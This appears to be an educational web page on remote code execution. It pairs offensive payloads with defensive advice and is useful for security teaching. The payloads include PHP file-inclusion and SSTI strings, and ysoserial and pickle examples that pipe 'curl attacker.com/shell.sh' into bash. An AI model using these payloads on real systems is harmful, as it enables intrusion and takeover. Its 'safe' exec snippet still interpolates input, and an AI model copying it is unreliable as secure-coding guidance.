Remote Code Execution (RCE)

What is RCE?

Remote Code Execution is a critical vulnerability that allows attackers to execute arbitrary code on a target system or application. This is often the "holy grail" of vulnerabilities as it provides complete control over the affected system.

RCE Impact Severity:

  • Complete system compromise
  • Data theft and exfiltration
  • Persistence establishment
  • Network pivoting
  • Denial of Service

Red Team Techniques (Offensive)

1. Web Application RCE

Web application RCE occurs when user input is improperly sanitized and gets evaluated as code by the server. Common vectors include injection flaws, deserialization vulnerabilities, and template injection.

PHP Code Injection

http://vulnerable.com/page.php?file=data://text/plain,<?php system($_GET['cmd']);?>

Injects PHP code through file inclusion vulnerability.

Command Injection

http://vulnerable.com/ping?ip=127.0.0.1;id

Appends OS commands to legitimate input.

Java Deserialization

POST /api/v1/process HTTP/1.1
Content-Type: application/x-java-serialized-object

<base64 encoded ysoserial payload>

Exploits insecure deserialization in Java applications.

Common Web RCE Vectors:

  • Command injection (OS commands)
  • Code injection (PHP, Python, Node.js, etc.)
  • Insecure deserialization
  • Server-Side Template Injection (SSTI)
  • Expression Language Injection

2. Binary Exploitation RCE

Binary exploitation involves manipulating compiled programs to execute arbitrary code through memory corruption vulnerabilities like buffer overflows, format string bugs, and use-after-free errors.

Buffer Overflow

./vulnerable $(python -c 'print "A"*500 + "\xef\xbe\xad\xde"')

Overwrites return address with controlled value.

Return-Oriented Programming (ROP)

# ROP chain construction
# Gadget 1: pop rdi; ret
# Gadget 2: address of "/bin/sh"
# Gadget 3: address of system()

Bypasses DEP by chaining existing code snippets.

Common Binary Exploit Types:

  • Stack-based buffer overflow
  • Heap overflow
  • Format string vulnerability
  • Use-after-free
  • Race conditions

3. Deserialization Attacks

Insecure deserialization converts serialized data into objects without proper validation, allowing attackers to craft malicious payloads that execute code during deserialization.

Java Deserialization (ysoserial)

java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell.sh | bash' > payload.bin

Generates malicious serialized object for Java apps.

Python Pickle Exploit

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh | bash',))

pickle.dump(RCE(), open('payload.pkl','wb'))

Creates malicious pickle file that executes code when loaded.

4. Template Injection

Server-Side Template Injection (SSTI) occurs when user input is embedded in templates in an unsafe manner, allowing attackers to inject template directives that execute code.

Jinja2 SSTI (Python)

{{ ''.__class__.__mro__[1].__subclasses__()[407]('whoami', shell=True, stdout=-1).communicate() }}

Exploits Python template engines to execute commands.

Twig SSTI (PHP)

{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

Executes system commands through Twig templates.

RCE Tools & Payloads

Exploitation Frameworks

  • Metasploit Framework (multi-platform)
  • ysoserial (Java deserialization)
  • GadgetProbe (Java deserialization probing)

Payload Generators

  • msfvenom (Metasploit payload generator)
  • Shells.s (Reverse shell cheat sheet)
  • RevShells (Interactive reverse shell generator)

Post-Exploitation

  • Cobalt Strike (command and control)
  • Empire (post-exploitation framework)
  • Mimikatz (credential dumping)

Blue Team Defenses

1. Input Validation

Command Injection Prevention

// Safe command execution const cleanInput = sanitize(userInput); exec(`ping ${cleanInput}`);

SQL Parameterization

// Parameterized query "SELECT * FROM users WHERE id = ?", [userId]

2. Secure Coding

Safe Deserialization

// Validate classes before deserializing if (!allowedClasses.includes(className)) { throw new Error("Blocked"); }

Template Safety

// Auto-escaping in templates <%= unsafeInput %>

3. System Hardening

Memory Protections

  • DEP (Data Execution Prevention)
  • ASLR (Address Space Layout Randomization)
  • Stack canaries

Least Privilege

  • Run services with minimal permissions
  • Use containers with restricted capabilities
  • Implement proper sandboxing

4. Monitoring & Detection

SIEM Rules

  • Detect suspicious process execution
  • Alert on shell spawning patterns
  • Monitor for unusual network connections

Endpoint Protection

  • Behavioral analysis of processes
  • Memory protection modules
  • Exploit prevention techniques

5. Patch Management

Vulnerability Scanning

  • Regular dependency scanning (OWASP DC)
  • Static and dynamic code analysis
  • Binary hardening checks

Patch Prioritization

  • CVSS scoring for RCE vulnerabilities
  • Zero-day mitigation strategies
  • Emergency patch procedures

RCE Mitigation Checklist

  • Implement strict input validation
  • Use safe APIs for command execution
  • Apply proper output encoding
  • Enable memory protection mechanisms
  • Keep all components patched
  • Monitor for suspicious execution patterns
  • Conduct regular security testing

Additional Resources & References

Legal Notice

This content is provided for educational purposes only. Never test security vulnerabilities against systems without explicit permission. Unauthorized testing may violate laws.